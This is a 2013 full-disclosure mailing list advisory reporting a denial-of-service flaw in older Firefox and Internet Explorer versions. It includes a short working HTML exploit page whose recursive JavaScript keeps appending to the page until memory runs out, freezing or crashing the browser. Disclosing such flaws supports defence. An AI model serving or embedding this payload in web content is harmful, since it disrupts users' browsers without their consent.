full-disclosure - DoS vulnerability in Mozilla Firefox and Microsoft Internet Explorer

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Date: Sat, 15 Jun 2013 21:02:26 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>,
 "1337 Exploit DataBase" <mr.inj3ct0r@...il.com>
Subject: DoS vulnerability in Mozilla Firefox and
	Microsoft Internet Explorer

Hello list!

I want to warn you about Denial of Service vulnerability in Mozilla Firefox 
and Microsoft Internet Explorer.

Earlier Jean Pascal Pereira has found DoS vulnerability in browser Firefox 
14.0.1 (http://1337day.com/exploit/description/19201). And at 07.04.2013 
I've checked this vulnerability and found, that many other browsers are 
vulnerable to these attack.

-------------------------
Affected products:
-------------------------

Vulnerable are Mozilla Firefox 3.5.19, 3.6.28, 10.0.7 ESR, 15.0.1, Internet 
Explorer 7 (7.00.5730.13) and Internet Explorer 8 (8.00.6001.18702). And 
also must be vulnerable previous versions of these browsers and potentially 
more newer versions of Firefox and Internet Explorer.

----------
Details:
----------

Denial of Service (WASC-10):

The attack occurs via infinite recursion. Which leads to RAM consuming.

My version of the exploit for different browsers.

Mozilla Firefox & IE DoS Exploit.html

<html>
<head>
<title>Mozilla Firefox 3.5.19 - 15.0.1, IE7 and IE8 DoS Exploit (C) 2013 
MustLive. http://websecurity.com.ua</title>
<!-- Based on exploit by Jean Pascal Pereira 
(http://1337day.com/exploit/description/19201) -->
</head>
<body>
<script>
function e(x) {
 document.body.innerHTML += x;
 e(x + 'x');
}
e('x')
</script>
</body>
</html>

Browser crash works in Firefox 10.0.7 ESR and 15.0.1, but doesn't work in 
3.0.19 and previous versions. In Firefox 3.5.19 and 3.6.28, IE7 and IE8 
there is only freezing.

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 

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